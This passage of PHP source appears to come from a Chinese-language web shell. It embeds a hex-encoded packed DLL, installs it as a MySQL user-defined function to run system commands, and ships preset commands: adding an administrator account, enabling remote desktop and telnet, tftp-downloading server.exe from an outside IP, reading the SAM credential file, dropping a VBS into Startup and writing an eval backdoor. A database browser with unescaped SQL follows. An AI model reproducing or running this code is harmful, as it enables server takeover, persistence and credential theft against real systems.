CA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
  1366. }
  1367.  
  1368. function Mysql_m()
  1369. {
  1370. $MSG_BOX = 'ÇëÏȵŒ³öDLL,ÔÙÖŽÐÐÃüÁî.MYSQLÓû§±ØÐëΪrootÈšÏÞ,µŒ³ö·Ÿ¶±ØÐëÄÜŒÓÔØDLLÎÄŒþ.';
  1371. $info = 'ÃüÁî»ØÏÔ';
  1372. $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver';
  1373. if(isset($_POST['mhost']) && isset($_POST['muser']))
  1374. {
  1375. $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd'];
  1376. $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass);
  1377. if($conn)
  1378. {
  1379. @mysql_select_db($mdata);
  1380. if((!empty($_POST['outdll'])) && (!empty($_POST['mpath'])))
  1381. {
  1382. $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);";
  1383. if(@mysql_query($query,$conn))
  1384. {
  1385. $shellcode = Mysql_shellcode();
  1386. $query = "INSERT into Spider_Temp_Tab values (CONVERT(".$shellcode.",CHAR));";
  1387. if(@mysql_query($query,$conn))
  1388. {
  1389. $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \''.$mpath.'\';';
  1390. if(@mysql_query($query,$conn))
  1391. {
  1392. $ap = explode('/', $mpath); $inpath = array_pop($ap);
  1393. $query = 'Create Function state returns string soname \''.$inpath.'\';';
  1394. $MSG_BOX = @mysql_query($query,$conn) ? '°²×°DLL³É¹Š' : '°²×°DLLʧ°Ü';
  1395. }
  1396. else $MSG_BOX = 'µŒ³öDLLÎÄŒþʧ°Ü';
  1397. }
  1398. else $MSG_BOX = 'ÐŽÈëÁÙʱ±íʧ°Ü';
  1399. @mysql_query('DROP TABLE Spider_Temp_Tab;',$conn);
  1400. }
  1401. else $MSG_BOX = 'ŽŽœšÁÙʱ±íʧ°Ü';
  1402. }
  1403. if(!empty($_POST['runcmd']))
  1404. {
  1405. $query = 'select state("'.$sqlcmd.'");';
  1406. $result = @mysql_query($query,$conn);
  1407. if($result)
  1408. {
  1409. $k = 0; $info = NULL;
  1410. while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;}
  1411. $info = $infotmp;
  1412. $MSG_BOX = 'ÖŽÐгɹŠ';
  1413. }
  1414. else $MSG_BOX = 'ÖŽÐÐʧ°Ü';
  1415. }
  1416. }
  1417. else $MSG_BOX = 'Á¬œÓMYSQLʧ°Ü';
  1418. }
  1419. print<<<END
  1420. <script language="javascript">
  1421. function Fullm(i){
  1422. Str = new Array(11);
  1423. Str[0] = "ver";
  1424. Str[1] = "net user spider spider /add";
  1425. Str[2] = "net localgroup administrators spider /add";
  1426. Str[3] = "net start Terminal Services";
  1427. Str[4] = "netstat -an";
  1428. Str[5] = "ipconfig";
  1429. Str[6] = "net user guest /active:yes";
  1430. Str[7] = "copy c:\\\\1.php d:\\\\2.php";
  1431. Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe";
  1432. Str[9] = "net start telnet";
  1433. Str[10] = "shutdown -r -t 0";
  1434. mform.sqlcmd.value = Str[i];
  1435. return true;
  1436. }
  1437. </script>
  1438. <form method="POST" name="mform" id="mform" action="?s=m">
  1439. <div id="msgbox" class="msgbox">{$MSG_BOX}</div>
  1440. <center><div class="actall">
  1441. µØÖ· <input type="text" name="mhost" value="{$mhost}" style="width:110px">
  1442. ¶Ë¿Ú <input type="text" name="mport" value="{$mport}" style="width:110px">
  1443. Óû§ <input type="text" name="muser" value="{$muser}" style="width:110px">
  1444. ÃÜÂë <input type="text" name="mpass" value="{$mpass}" style="width:110px">
  1445. ¿âÃû <input type="text" name="mdata" value="{$mdata}" style="width:110px">
  1446. </div><div class="actall">
  1447. ¿ÉŒÓÔØ·Ÿ¶ <input type="text" name="mpath" value="{$mpath}" style="width:555px">
  1448. <input type="submit" name="outdll" value="°²×°DLL" style="width:80px;"></div>
  1449. <div class="actall">°²×°³É¹Šºó¿ÉÓà <br><input type="text" name="sqlcmd" value="{$sqlcmd}" style="width:515px;">
  1450. <select onchange="return Fullm(options[selectedIndex].value)">
  1451. <option value="0" selected>--ÃüÁºÏ--</option>
  1452. <option value="1">ÌíŒÓ¹ÜÀíÔ±</option>
  1453. <option value="2">ÉèΪ¹ÜÀí×é</option>
  1454. <option value="3">¿ªÆôÔ¶³Ì×ÀÃæ</option>
  1455. <option value="4">²é¿Ž¶Ë¿Ú</option>
  1456. <option value="5">²é¿ŽIP</option>
  1457. <option value="6">Œ€»îguestÕÊ»§</option>
  1458. <option value="7">žŽÖÆÎÄŒþ</option>
  1459. <option value="8">ftpÏÂÔØ</option>
  1460. <option value="9">¿ªÆôtelnet</option>
  1461. <option value="10">ÖØÆô</option>
  1462. </select>
  1463. <input type="submit" name="runcmd" value="ÖŽÐÐ" style="width:80px;">
  1464. <textarea style="width:720px;height:300px;">{$info}</textarea>
  1465. </div></center>
  1466. </form>
  1467. END;
  1468. return true;
  1469. }
  1470.  
  1471. function Mysql_n()
  1472. {
  1473. $MSG_BOX = '';
  1474. $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
  1475. if(isset($_POST['mhost']) && isset($_POST['muser']))
  1476. {
  1477. $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
  1478. if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
  1479. else $MSG_BOX = 'Á¬œÓMYSQLʧ°Ü';
  1480. }
  1481. $downfile = 'c:/windows/repair/sam';
  1482. if(!empty($_POST['downfile']))
  1483. {
  1484. $downfile = File_Str($_POST['downfile']);
  1485. $binpath = bin2hex($downfile);
  1486. $query = 'select load_file(0x'.$binpath.')';
  1487. if($result = @mysql_query($query,$conn))
  1488. {
  1489. $k = 0; $downcode = '';
  1490. while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
  1491. $filedown = basename($downfile);
  1492. if(!$filedown) $filedown = 'spider.tmp';
  1493. $array = explode('.', $filedown);
  1494. $arrayend = array_pop($array);
  1495. header('Content-type: application/x-'.$arrayend);
  1496. header('Content-Disposition: attachment; filename='.$filedown);
  1497. header('Content-Length: '.strlen($downcode));
  1498. echo $downcode;
  1499. exit;
  1500. }
  1501. else $MSG_BOX = 'ÏÂÔØÎÄŒþʧ°Ü';
  1502. }
  1503. $o = isset($_GET['o']) ? $_GET['o'] : '';
  1504. Root_CSS();
  1505. print<<<END
  1506. <form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
  1507. <center><div class="actall"><a href="?s=n">[MYSQLÖŽÐÐÓïŸä]</a>
  1508. <a href="?s=n&o=u">[MYSQLÉÏŽ«ÎÄŒþ]</a>
  1509. <a href="?s=n&o=d">[MYSQLÏÂÔØÎÄŒþ]</a></div>
  1510. <div class="actall">
  1511. µØÖ· <input type="text" name="mhost" value="{$mhost}" style="width:110px">
  1512. ¶Ë¿Ú <input type="text" name="mport" value="{$mport}" style="width:110px">
  1513. Óû§ <input type="text" name="muser" value="{$muser}" style="width:110px">
  1514. ÃÜÂë <input type="text" name="mpass" value="{$mpass}" style="width:110px">
  1515. ¿âÃû <input type="text" name="mdata" value="{$mdata}" style="width:110px">
  1516. </div>
  1517. <div class="actall" style="height:220px;">
  1518. END;
  1519. if($o == 'u')
  1520. {
  1521. $uppath = 'C:/Documents and Settings/All Users/¡ž¿ªÊŒ¡¹²Ëµ¥/³ÌÐò/Æô¶¯/exp.vbs';
  1522. if(!empty($_POST['uppath']))
  1523. {
  1524. $uppath = $_POST['uppath'];
  1525. $query = 'Create TABLE a (cmd text NOT NULL);';
  1526. if(@mysql_query($query,$conn))
  1527. {
  1528. if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
  1529. else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
  1530. $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
  1531. if(@mysql_query($query,$conn))
  1532. {
  1533. $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
  1534. $MSG_BOX = @mysql_query($query,$conn) ? 'ÉÏŽ«ÎÄŒþ³É¹Š' : 'ÉÏŽ«ÎÄŒþʧ°Ü';
  1535. }
  1536. else $MSG_BOX = '²åÈëÁÙʱ±íʧ°Ü';
  1537. @mysql_query('Drop TABLE IF EXISTS a;',$conn);
  1538. }
  1539. else $MSG_BOX = 'ŽŽœšÁÙʱ±íʧ°Ü';
  1540. }
  1541. print<<<END
  1542. <br><br>ÉÏŽ«Â·Ÿ¶ <input type="text" name="uppath" value="{$uppath}" style="width:500px">
  1543. <br><br>Ñ¡ÔñÎÄŒþ <input type="file" name="upfile" style="width:500px;height:22px;">
  1544. </div><div class="actall"><input type="submit" value="ÉÏŽ«" style="width:80px;">
  1545. END;
  1546. }
  1547. elseif($o == 'd')
  1548. {
  1549. print<<<END
  1550. <br><br><br>ÏÂÔØÎÄŒþ <input type="text" name="downfile" value="{$downfile}" style="width:500px">
  1551. </div><div class="actall"><input type="submit" value="ÏÂÔØ" style="width:80px;">
  1552. END;
  1553. }
  1554. else
  1555. {
  1556. if(!empty($_POST['msql']))
  1557. {
  1558. $msql = $_POST['msql'];
  1559. if($result = @mysql_query($msql,$conn))
  1560. {
  1561. $MSG_BOX = 'ÖŽÐÐSQLÓïŸä³É¹Š<br>';
  1562. $k = 0;
  1563. while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
  1564. }
  1565. else $MSG_BOX .= mysql_error();
  1566. }
  1567. print<<<END
  1568. <script language="javascript">
  1569. function nFull(i){
  1570. Str = new Array(11);
  1571. Str[0] = "select version();";
  1572. Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'";
  1573. Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F:/web/bak.php';";
  1574. Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
  1575. nform.msql.value = Str[i];
  1576. return true;
  1577. }
  1578. </script>
  1579. <textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
  1580. <div class="actall">
  1581. <select onchange="return nFull(options[selectedIndex].value)">
  1582. <option value="0" selected>ÏÔÊŸ°æ±Ÿ</option>
  1583. <option value="1">µŒ³öÎÄŒþ</option>
  1584. <option value="2">ÐŽÈëÎÄŒþ</option>
  1585. <option value="3">¿ªÆôÍâÁ¬</option>
  1586. </select>
  1587. <input type="submit" value="ÖŽÐÐ" style="width:80px;">
  1588. END;
  1589. }
  1590. if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>';
  1591. else echo '</div></center></form>';
  1592. return true;
  1593. }
  1594.  
  1595. //MYSQL¹ÜÀí
  1596.  
  1597. function Mysql_Len($data,$len)
  1598. {
  1599. if(strlen($data) < $len) return $data;
  1600. return substr_replace($data,'...',$len);
  1601. }
  1602.  
  1603. function Mysql_Msg()
  1604. {
  1605. $conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']);
  1606. if($conn)
  1607. {
  1608. print<<<END
  1609. <script language="javascript">
  1610. function Delok(msg,gourl)
  1611. {
  1612. smsg = "È·¶šÒªÉŸ³ý[" + unescape(msg) + "]Âð?";
  1613. if(confirm(smsg)){window.location = gourl;}
  1614. }
  1615. function Createok(ac)
  1616. {
  1617. if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);';
  1618. if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
  1619. if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
  1620. return false;
  1621. }
  1622. </script>
  1623. END;
  1624. $BOOL = false;
  1625. $MSG_BOX = 'Óû§:'.$_COOKIE['m_spideruser'].' &nbsp;&nbsp;&nbsp;&nbsp; µØÖ·:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].' &nbsp;&nbsp;&nbsp;&nbsp; °æ±Ÿ:';
  1626. $k = 0;
  1627. $result = @mysql_query('select version();',$conn);
  1628. while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
  1629. echo '<div class="actall"> ÊýŸÝ¿â:';
  1630. $result = mysql_query("SHOW DATABASES",$conn);
  1631. while($db = mysql_fetch_array($result)){echo '&nbsp;&nbsp;[<a href="?s=r&db='.$db['Database'].'">'.$db['Database'].'</a>]';}
  1632. echo '</div>';
  1633. if(isset($_GET['db']))
  1634. {
  1635. mysql_select_db($_GET['db'],$conn);
  1636. if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? 'ÖŽÐгɹŠ' : 'ÖŽÐÐʧ°Ü '.mysql_error();}
  1637. if(is_array($_POST['insql']))
  1638. {
  1639. $query = 'INSERT INTO '.$_GET['table'].' (';
  1640. foreach($_POST['insql'] as $var => $key)
  1641. {
  1642. $querya .= $var.',';
  1643. $queryb .= '\''.addslashes($key).'\',';
  1644. }
  1645. $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');';
  1646. $MSG_BOX = mysql_query($query,$conn) ? 'ÌíŒÓ³É¹Š' : 'ÌíŒÓʧ°Ü '.mysql_error();
  1647. }
  1648. if(is_array($_POST['upsql']))
  1649. {
  1650. $query = 'UPDATE '.$_GET['table'].' SET ';
  1651. foreach($_POST['upsql'] as $var => $key)
  1652. {
  1653. $queryb .= $var.'=\''.addslashes($key).'\',';
  1654. }
  1655. $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';';
  1656. $MSG_BOX = mysql_query($query,$conn) ? 'ÐޞijɹŠ' : 'ÐÞžÄʧ°Ü '.mysql_error();
  1657. }
  1658. if(isset($_GET['del']))
  1659. {
  1660. $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn);
  1661. $good = mysql_fetch_assoc($result);
  1662. $query = 'DELETE FROM '.$_GET['table'].' WHERE ';
  1663. foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';}
  1664. $where = $query.substr($queryc, 0, -4).';';
  1665. $MSG_BOX = mysql_query($where,$conn) ? 'ÉŸ³ý³É¹Š' : 'ÉŸ³ýʧ°Ü '.mysql_error();
  1666. }
  1667. $action = '?s=r&db='.$_GET['db'];
  1668. if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? 'ÉŸ³ý³É¹Š' : 'ÉŸ³ýʧ°Ü '.mysql_error();}
  1669. if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];}
  1670. if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert'];
  1671. echo '<div class="actall"><form method="POST" action="'.$action.'">';
  1672. echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> ';
  1673. echo '<input type="submit" name="querysql" value="ÖŽÐÐ" style="width:60px;height:49px;"> ';
  1674. echo '<input type="button" value="ŽŽœš±í" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
  1675. echo '<input type="button" value="ŽŽœš¿â" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
  1676. echo '<input type="button" value="ÉŸ³ý¿â" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
  1677. echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?s=r&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> ';
  1678. if(isset($_GET['table']))
  1679. {
  1680. echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> ';
  1681. echo '[<a href="?s=r&db='.$_GET['db'].'&insert='.$_GET['table'].'">²åÈë</a>]</div>';
  1682. if(isset($_GET['edit']))
  1683. {
  1684. if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table'];
  1685. echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$atable.'">';
  1686. $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn);
  1687. $good = mysql_fetch_assoc($result);
  1688. $u = 0;
  1689. foreach($good as $var => $key)
  1690. {
  1691. $queryc .= $var.'=\''.$key.'\' AND ';
  1692. $type = @mysql_field_type($result, $u);
  1693. $len = @mysql_field_len($result, $u);
  1694. echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>';
  1695. $u++;
  1696. }
  1697. $where = 'WHERE '.substr($queryc, 0, -4);
  1698. echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">';
  1699. echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
  1700. }
  1701. else
  1702. {
  1703. $query = 'SHOW COLUMNS FROM '.$_GET['table'];
  1704. $result = mysql_query($query,$conn);
  1705. $fields = array();
  1706. $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn));
  1707. if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20;
  1708. echo '<table border="0"><tr>';
  1709. echo '<td class="toptd" style="width:70px;" nowrap>²Ù×÷</td>';
  1710. while($row = @mysql_fetch_assoc($result))
  1711. {
  1712. array_push($fields,$row['Field']);
  1713. echo '<td class="toptd" nowrap>'.$row['Field'].'</td>';
  1714. }
  1715. echo '</tr>';
  1716. if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;';
  1717. $result = mysql_query($query,$conn);
  1718. $v = $p;
  1719. while($text = @mysql_fetch_assoc($result))
  1720. {
  1721. echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'"> ÐÞžÄ </a> ';
  1722. echo '<a href="#" onclick="Delok(\'Ëü\',\'?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;"> ÉŸ³ý </a></td>';
  1723. foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';}
  1724. echo '</tr>'."\r\n";$v++;
  1725. }
  1726. echo '</table><div class="actall">';
